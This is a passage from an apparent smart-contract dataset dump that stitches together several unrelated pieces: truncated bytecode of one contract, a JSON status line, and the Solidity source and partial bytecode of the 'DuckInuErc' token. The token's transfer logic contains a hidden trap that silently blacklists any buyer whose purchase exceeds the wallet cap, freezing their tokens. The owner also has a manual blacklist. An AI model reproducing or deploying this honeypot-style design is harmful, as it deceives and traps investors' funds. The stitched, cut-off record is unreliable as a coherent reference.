ffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b600380549050811015611256576001600085815260200190815260200160002060006003838154811015156111b757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611236576001820191505b6004548214156112495760019250611257565b8080600101915050611186565b5b5050919050565b600080600090505b6003805490508110156113235760016000848152602001908152602001600020600060038381548110151561129757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611316576001820191505b8080600101915050611266565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114015780601f106113d657610100808354040283529160200191611401565b820191906000526020600020905b8154815290600101906020018083116113e457829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b606060038054806020026020016040519081016040528092919081815260200182805480156114a257602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611458575b5050505050905090565b6060806000806005546040519080825280602002602001820160405280156114e35781602001602082028038833980820191505090505b50925060009150600090505b60055481101561158f57858015611526575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806115595750848015611558575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156115825780838381518110151561156d57fe5b90602001906020020181815250506001820191505b80806001019150506114ef565b8787036040519080825280602002602001820160405280156115c05781602001602082028038833980820191505090505b5093508790505b868110156116125782818151811015156115dd57fe5b90602001906020020151848983038151811015156115f757fe5b906020019060200201818152505080806001019150506115c7565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156116575781602001602082028038833980820191505090505b50925060009150600090505b6003805490508110156117a45760016000868152602001908152602001600020600060038381548110151561169457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117975760038181548110151561171b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561175457fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611663565b816040519080825280602002602001820160405280156117d35781602001602082028038833980820191505090505b509350600090505b818110156118525782818151811015156117f157fe5b90602001906020020151848281518110151561180957fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506117db565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189a57600080fd5b60038054905081603282111580156118b25750818111155b80156118bf575060008114155b80156118cc575060008214155b15156118d757600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561197357600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156119cf57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611a3b57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611af085611eb1565b5050505050565b6000611b048484846121ab565b9050611b0f8161191a565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b5057600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bd857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c3157600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611c8b57600080fd5b600092505b600380549050831015611d74578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611cc357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611d675783600384815481101515611d1a57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611d74565b8280600101935050611c90565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f0d57600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f7857600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611fa857600080fd5b6000808881526020019081526020016000209550611fc587611179565b945084806120005750600086600201805460018160011615610100020316600290049050148015611fff5750611ffe86600101546122fd565b5b5b1561219c5760018660030160006101000a81548160ff02191690831515021790555084151561203e5785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1686600101548760020160405180828054600181600116156101000203166002900480156120e75780601f106120bc576101008083540402835291602001916120e7565b820191906000526020600020905b8154815290600101906020018083116120ca57829003601f168201915b505091505060006040518083038185875af1925050501561213457867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a261219b565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff02191690831515021790555084151561219a5785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff16141515156121d457600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061229392919061237b565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000620151806007540142111561231e574260078190555060006008819055505b6006548260085401118061233757506008548260085401105b15612345576000905061234a565b600190505b919050565b8154818355818111156123765781836000526020600020918201910161237591906123fb565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106123bc57805160ff19168380011785556123ea565b828001600101855582156123ea579182015b828111156123e95782518255916020019190600101906123ce565b5b5090506123f791906123fb565b5090565b61241d91905b80821115612419576000816000905550600101612401565b5090565b905600a165627a7a72305820f98fffef87f8838653600349af924ae56b38bd7f4ab2f56a7cb14136770878250029
{"success": true, "error": null, "results": {}}
5,808
0x18256b95143bb76de45d34503753dcbca91d9029
/** *Submitted for verification at Etherscan.io on 2022-04-03 */ // SPDX-License-Identifier: Unlicensed //https://t.me/DuckInuErc pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DuckInuErc is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private maxTxAmount = _tTotal; uint256 private maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private setTax; uint256 private setRedis; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "DuckInuErc"; string private constant _symbol = "DuckInuErc"; uint256 private constant _minEthToSend = 300000000000000000; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1,address payable _add2) { require(_add1 != address(0)); //Making Sure Fee address is not zero require(_add2 != address(0)); _feeAddrWallet1 = _add1; _feeAddrWallet2 = _add2; _rOwned[_feeAddrWallet1] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), _feeAddrWallet1, _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if(!(_isExcludedFromFee[from] || _isExcludedFromFee[to])){ if (from != address(this)) { require(amount <= maxTxAmount); _feeAddr1 = setRedis; _feeAddr2 = setTax; if(to != uniswapV2Pair){ if(balanceOf(to)+ (amount *(1- _feeAddr2/100)) > maxWalletAmount){ bots[to] = true; } } uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > _tTotal/1000){ if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > _minEthToSend) { sendETHToFee(address(this).balance); } } } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { uint256 toSend = amount/5; _feeAddrWallet2.transfer(toSend); _feeAddrWallet1.transfer(amount - toSend); } function liftMaxTrnx() external onlyOwner{ maxTxAmount = _tTotal; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); setTax = 10; setRedis = 3; maxTxAmount = _tTotal/25; maxWalletAmount = _tTotal/50; swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklist(address _address) external onlyOwner{ bots[_address] = true; } function removeBlacklist(address notbot) external onlyOwner{ bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610352578063c9567bf914610369578063dd62ed3e14610380578063eb91e651146103bd578063f9f92be4146103e657610114565b8063715018a6146102a85780638da5cb5b146102bf57806395d89b41146102ea578063a9059cbb1461031557610114565b8063313ce567116100dc578063313ce567146101e957806335ffbc47146102145780635932ead11461022b5780636fc3eaec1461025457806370a082311461026b57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b919061224c565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612307565b61044c565b6040516101789190612362565b60405180910390f35b34801561018d57600080fd5b5061019661046a565b6040516101a3919061238c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906123a7565b61047b565b6040516101e09190612362565b60405180910390f35b3480156101f557600080fd5b506101fe610554565b60405161020b9190612416565b60405180910390f35b34801561022057600080fd5b5061022961055d565b005b34801561023757600080fd5b50610252600480360381019061024d919061245d565b610604565b005b34801561026057600080fd5b506102696106b6565b005b34801561027757600080fd5b50610292600480360381019061028d919061248a565b610728565b60405161029f919061238c565b60405180910390f35b3480156102b457600080fd5b506102bd610779565b005b3480156102cb57600080fd5b506102d46108cc565b6040516102e191906124c6565b60405180910390f35b3480156102f657600080fd5b506102ff6108f5565b60405161030c919061224c565b60405180910390f35b34801561032157600080fd5b5061033c60048036038101906103379190612307565b610932565b6040516103499190612362565b60405180910390f35b34801561035e57600080fd5b50610367610950565b005b34801561037557600080fd5b5061037e6109ca565b005b34801561038c57600080fd5b506103a760048036038101906103a291906124e1565b610f14565b6040516103b4919061238c565b60405180910390f35b3480156103c957600080fd5b506103e460048036038101906103df919061248a565b610f9b565b005b3480156103f257600080fd5b5061040d6004803603810190610408919061248a565b61108b565b005b60606040518060400160405280600a81526020017f4475636b496e7545726300000000000000000000000000000000000000000000815250905090565b600061046061045961117b565b8484611183565b6001905092915050565b6000683635c9adc5dea00000905090565b600061048884848461134c565b6105498461049461117b565b61054485604051806060016040528060288152602001612e0d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fa61117b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c19092919063ffffffff16565b611183565b600190509392505050565b60006009905090565b61056561117b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e99061256d565b60405180910390fd5b683635c9adc5dea00000600a81905550565b61060c61117b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610699576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106909061256d565b60405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f761117b565b73ffffffffffffffffffffffffffffffffffffffff161461071757600080fd5b600047905061072581611725565b50565b6000610772600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611817565b9050919050565b61078161117b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108059061256d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4475636b496e7545726300000000000000000000000000000000000000000000815250905090565b600061094661093f61117b565b848461134c565b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099161117b565b73ffffffffffffffffffffffffffffffffffffffff16146109b157600080fd5b60006109bc30610728565b90506109c781611885565b50565b6109d261117b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a569061256d565b60405180910390fd5b601360149054906101000a900460ff1615610aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa6906125d9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b3f30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611183565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bae919061260e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c39919061260e565b6040518363ffffffff1660e01b8152600401610c5692919061263b565b6020604051808303816000875af1158015610c75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c99919061260e565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d2230610728565b600080610d2d6108cc565b426040518863ffffffff1660e01b8152600401610d4f969594939291906126a9565b60606040518083038185885af1158015610d6d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d92919061271f565b505050600a600e819055506003600f819055506019683635c9adc5dea00000610dbb91906127d0565b600a819055506032683635c9adc5dea00000610dd791906127d0565b600b819055506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ecd929190612801565b6020604051808303816000875af1158015610eec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f10919061283f565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fa361117b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611030576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110279061256d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61109361117b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111179061256d565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e9906128de565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611261576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125890612970565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161133f919061238c565b60405180910390a3505050565b6000811161138f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138690612a02565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113e657600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114875750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6116b1573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146116b057600a548111156114cd57600080fd5b600f54600c81905550600e54600d81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146115d057600b546064600d5461154691906127d0565b60016115529190612a22565b8261155d9190612a56565b61156684610728565b6115709190612ab0565b11156115cf576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b60006115db30610728565b90506103e8683635c9adc5dea000006115f491906127d0565b8111156116ae57601360159054906101000a900460ff161580156116665750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561167e5750601360169054906101000a900460ff165b156116ad5761168c81611885565b6000479050670429d069189e00008111156116ab576116aa47611725565b5b505b5b505b5b6116bc838383611afe565b505050565b6000838311158290611709576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611700919061224c565b60405180910390fd5b50600083856117189190612a22565b9050809150509392505050565b600060058261173491906127d0565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561179e573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc82846117e79190612a22565b9081150290604051600060405180830381858888f19350505050158015611812573d6000803e3d6000fd5b505050565b600060085482111561185e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185590612b78565b60405180910390fd5b6000611868611b0e565b905061187d8184611b3990919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118bd576118bc612b98565b5b6040519080825280602002